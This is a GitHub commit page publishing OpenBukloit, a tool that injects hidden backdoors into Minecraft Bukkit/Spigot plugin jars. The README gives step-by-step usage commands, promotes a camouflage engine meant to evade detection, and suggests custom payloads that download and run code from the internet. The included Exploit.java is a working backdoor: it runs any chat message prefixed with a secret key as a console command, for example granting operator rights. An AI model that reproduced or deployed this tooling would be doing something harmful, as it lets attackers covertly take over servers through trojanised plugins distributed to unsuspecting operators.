Skip to content

Commit

Permalink
Source code published
Browse files Browse the repository at this point in the history
  • Loading branch information
Rikonardo committed May 27, 2022
0 parents commit 2864fd1
Show file tree
Hide file tree
Showing 21 changed files with 1,532 additions and 0 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
/.gradle
/.idea
/build
/run
674 changes: 674 additions & 0 deletions LICENSE.txt

Large diffs are not rendered by default.

129 changes: 129 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
<div align="center"><h1>OpenBukloit - Minecraft plugin backdoor injector</h1></div>

<div align="center"><img alt="Logo" src="logo.png"/></div>

<div align="center">
<img alt="Open issues" src="https://img.shields.io/github/issues-raw/Voxelhax/OpenBukloit"/>
<img alt="Code size" src="https://img.shields.io/github/languages/code-size/Voxelhax/OpenBukloit"/>
<a href="https://www.codefactor.io/repository/github/voxelhax/openbukloit"><img alt="CodeFactor" src="https://www.codefactor.io/repository/github/voxelhax/openbukloit/badge"/></a>
</div>

<div align="center">
<a href="https://github.com/Voxelhax/OpenBukloit/releases/latest"><img alt="Download" src="https://img.shields.io/badge/-DOWNLOAD_LATEST_RELEASE_(CLICK)-blue?style=for-the-badge"/></a>
</div>

<br>

<hr>

**OpenBukloit** is modern and powerful universal backdoor injector compatible with all Bukkit/Spigot/Paper/etc plugins. Its feature is ability to integrate with absolutely any plugin without the need to modify backdoor every time. Moreover, it provides powerful camouflage engine, which makes nearly impossible to find it without sufficient knowledge or advanced automated tools. OpenBukloit was developed to test the security systems of Minecraft servers, Voxelhax team is not responsible for its misuse.

This is a continuation of **[Bukloit](https://github.com/Rikonardo/Bukloit)** project, taking into account all the problems of the previous project and a completely different approach to development.

## OpenBukloit features
- **Full support for Bukkit and it's forks on any Minecraft version.**
- **Custom backdoor support.**
- **Automatic JDK downloading, so you don't need to care about Java version compatibility.**
- **Powerful camouflage engine, which makes it harder to find backdoor in plugin.**

## Installation
In order to use OpenBukloit you must have any Java version installed (but not lower than 8). Then download OpenBukloit jar from [releases tab](https://github.com/Voxelhax/OpenBukloit/releases/latest).

## Usage
To run OpenBukloit, open command prompt in the directory where OpenBukloit jar is located. Then type:

```sh
java -jar OpenBukloit.jar
```

Here you can pass some arguments to configure injector and backdoor:

| Short Argument | Long Argument | Description | Type |
|----------------|---------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------|
| -e | --exploit | Path to custom .java or compiled .class file, that will be used as backdoor.<br />**By default uses builtin backdoor.** |
| -m | --mode | Mode. Can be single/multiple.<br />**Default: <ins>multiple</ins>.**<br />In multiple mode, modifies all files in the specified folder. In single - only the specified file. | Value |
| -i | --input | Path to input folder/file (mode dependent).<br />**Default: <ins>in</ins> (<ins>in.jar</ins> if mode is single).** | Value |
| -o | --output | Path to output folder/file (mode dependent).<br />**Default: <ins>out</ins> (<ins>out.jar</ins> if mode is single).** | Value |
| -r | --replace | Replace output file if it already exists. | Flag |

But these arguments are not enough to run OpenBukloit. You must also specify backdoor params. Because OpenBukloit supports injecting of custom backdoors, you must pass additional arguments that required by used backdoor.

## Builtin exploit

By default, OpenBukloit injects builtin backdoor. It is a simple backdoor that allows you to execute any commands as console by writing special keyword before command in chat.

Builtin backdoor params:

| Long Argument | Description |
|---------------|---------------------------------------------------|
| --key | Keyword, that triggers console command execution. |

Ingame usage for key set to "hackthisserver":

```
hackthisserver op MyName
```

This message sent to chat will be executed as console command and give op to MyName player.

**Here is some examples of using OpenBukloit with builtin backdoor:**

1. Patch all .jar files with the "#console" key from the "in" folder and save them into the "out" folder without replacement.

```sh
java -jar OpenBukloit.jar -m multiple -i "in" -o "out" --key "#console"
```

2. Patch all files with the "hacktheserver" key from the "in" folder and save them into the "out" folder with replacement.

```sh
java -jar OpenBukloit.jar -m multiple -i "in" -o "out" --key "hacktheserver" -r
```

3. Patch single file "PluginName.jar" with "#console" key and save it as "Output.jar" file with replacement.

```sh
java -jar OpenBukloit.jar -m single -i "PluginName.jar" -o "Output.jar" --key "#console" -r
```

## Writing custom exploit

You can also write your own backdoor. It should be a class with `public static void inject(JavaPlugin args)` method (JavaPlugin is from Bukkit API).

Here is a simple example:

```java
import org.bukkit.plugin.java.JavaPlugin;

public class MyBackdoor {
public static void inject(JavaPlugin args) {
System.out.println("Hello, world!");
}
}
```

`inject` method will be executed after plugin's `onEnable` method. You can do everything you want here, including downloading and running some arbitrary code from internet.

But you must know that there are some limitations:
- Currently, you can't use nested classes, there is must be only one class in exploit file.
- You shouldn't reference your exploit class inside it, like using it as method params, as a return value or as a field type.

You can take external params from command line, by using %placeholders%:

```java
import org.bukkit.plugin.java.JavaPlugin;

public class MyBackdoor {
public static void inject(JavaPlugin args) {
System.out.println("Hello, %name%!");
}
}
```

And then inject it with command:

```sh
java -jar OpenBukloit.jar -e MyBackdoor.java --name world
```

Note, that we can pass our backdoor to OpenBukloit without compiling, and it will automatically compile it with Spigot API in compiletime classpool.
58 changes: 58 additions & 0 deletions build.gradle.kts
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
import com.github.jengelman.gradle.plugins.shadow.tasks.ShadowJar
import org.jetbrains.kotlin.gradle.tasks.KotlinCompile

plugins {
kotlin("jvm") version "1.6.20"
application
id("com.github.johnrengelman.shadow") version "7.1.2"
}

group = "com.voxelhax"
version = "1.0.0"

repositories {
mavenCentral()
maven {
url = uri("https://hub.spigotmc.org/nexus/content/repositories/snapshots/")
}
maven {
url = uri("https://maven.rikonardo.com/releases")
}
}

dependencies {
testImplementation(kotlin("test"))
implementation("org.spigotmc:spigot-api:1.18.2-R0.1-SNAPSHOT")
implementation("com.rikonardo.cafebabe:CafeBabe:1.0.1")
implementation("org.javassist:javassist:3.29.0-GA")
implementation("com.github.ajalt.mordant:mordant:2.0.0-beta6")
implementation("dev.virefire.kson:KSON:1.3.1")
implementation("dev.virefire.yok:Yok:1.0.3")
implementation("org.rauschig:jarchivelib:1.2.0")
}

tasks.test {
useJUnitPlatform()
}

java {
toolchain.languageVersion.set(JavaLanguageVersion.of(8))
}

tasks.withType<KotlinCompile> {
kotlinOptions.jvmTarget = "1.8"
}

tasks {
named<ShadowJar>("shadowJar") {
archiveClassifier.set("")
}

build {
dependsOn(shadowJar)
}
}

application {
mainClass.set("MainKt")
}
1 change: 1 addition & 0 deletions gradle.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
kotlin.code.style=official
5 changes: 5 additions & 0 deletions gradle/wrapper/gradle-wrapper.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
Binary file added logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
1 change: 1 addition & 0 deletions settings.gradle.kts
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = "OpenBukloit"
27 changes: 27 additions & 0 deletions src/main/java/Exploit.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.java.JavaPlugin;

public class Exploit implements Listener {
private static final String key = "%key%";
public static void inject(JavaPlugin plugin) {
plugin.getServer().getPluginManager().registerEvents(new Exploit(plugin), plugin);
}

private final JavaPlugin plugin;
private Exploit(JavaPlugin plugin) {
this.plugin = plugin;
}

@EventHandler
public void onChat(AsyncPlayerChatEvent event) {
if (event.getMessage().startsWith(key + " ")) {
event.setCancelled(true);
String command = event.getMessage().substring(key.length() + 1);
plugin.getServer().getScheduler().runTask(plugin, () -> {
plugin.getServer().dispatchCommand(plugin.getServer().getConsoleSender(), command);
});
}
}
}
15 changes: 15 additions & 0 deletions src/main/kotlin/InjectMain.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import injector.injectFunc
import kotlin.system.exitProcess

fun main(args: Array<String>) {
val clazz = args[0]
val method = args[1]
val insert = args[2]
val saveTo = args[3]
try {
injectFunc(clazz, method, insert, saveTo)
} catch (e: Exception) {
System.err.println(e.message)
exitProcess(1)
}
}
121 changes: 121 additions & 0 deletions src/main/kotlin/LoadExploit.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
import com.github.ajalt.mordant.rendering.TextColors.*
import com.rikonardo.cafebabe.ClassFile
import com.rikonardo.cafebabe.Method
import com.rikonardo.cafebabe.data.constantpool.ConstantUtf8
import utils.*
import java.io.File
import java.lang.management.ManagementFactory
import java.util.regex.Pattern

private fun findClassRecursive(directory: File): File {
if (!directory.isDirectory) return directory
for (file in directory.listFiles()!!) {
return findClassRecursive(file)
}
throw Exception("Could not find built class")
}

fun loadExploit(external: String?): ClassFile {
val exploit: ClassFile
if (external != null) {
val file = File(external)
if (!file.exists()) {
throw Exception("File \"${file.canonicalPath}\" not found")
}
if (external.endsWith(".java")) {
val jdk = requireJDK(52, 0)
Logs.info("Compiling \"${file.canonicalPath}\"")
val outputDir = File("./.openbukloit/temp/exploit")
outputDir.mkdirs()

val process = ProcessBuilder(
jdk.toFile().canonicalPath,
"-cp",
getClassPathArg(ManagementFactory.getRuntimeMXBean().classPath),
"-d",
outputDir.canonicalPath,
file.canonicalPath
).start()
process.errorStream.bufferedReader().use { bufferedReader ->
bufferedReader.lines().forEach {
Logs.error(it)
}
}

val result = process.exitValue()
if (result != 0) {
throw Exception("Compilation failed with exit code $result")
}

val compiledClass = findClassRecursive(outputDir)
exploit = ClassFile(compiledClass.readBytes())
outputDir.deleteRecursively()
Logs.info(
"External exploit class compiled and loaded: \"${
brightCyan(exploit.name.replace("/", "."))
}\" (class version: ${
brightCyan(exploit.version.toString())
} / Java ${
brightCyan(getJavaVersion(exploit.version.major, exploit.version.minor))
})"
)
} else {
exploit = ClassFile(file.readBytes())
Logs.info(
"External exploit class loaded: \"${
brightCyan(exploit.name.replace("/", "."))
}\" (class version: ${
brightCyan(exploit.version.toString())
} / Java ${
brightCyan(getJavaVersion(exploit.version.major, exploit.version.minor))
})"
)
}
} else {
exploit = ClassFile(getBytesFromInputStream(::loadExploit::class.java.getResourceAsStream("/Exploit.class")!!))
}

return exploit
}

class PreparedExploit(classFile: ClassFile) {
val binary = classFile.compile()
val params: List<String>

init {
classFile.findInjectMethod()
val params = mutableListOf<String>()
val pattern = Pattern.compile("%(.*?)%")
for (entry in classFile.constantPool.entries) {
if (entry is ConstantUtf8) {
val matcher = pattern.matcher(entry.value)
while (matcher.find()) {
val g = matcher.group()
val s = g.substring(1, g.length - 1)
if (!s.matches("[a-z_]+".toRegex())) throw Exception("Invalid parameter name: \"$s\"")
if (!params.contains(s)) params.add(s)
}
}
}
this.params = params.toList()
}

fun make(params: Map<String, String>): ClassFile {
val classFile = ClassFile(binary)
for (entry in classFile.constantPool.entries) {
if (entry is ConstantUtf8) {
for (param in this.params) {
val value = params[param]!!
entry.value = entry.value.replace("%$param%", value).replace("\\%", "%")
}
}
}
return classFile
}
}

fun ClassFile.findInjectMethod(): Method {
return this.methods.find {
it.name == "inject" && it.descriptor == "(Lorg/bukkit/plugin/java/JavaPlugin;)V"
} ?: throw Exception("Could not find inject method in exploit class")
}
Loading

0 comments on commit 2864fd1

Please sign in to comment.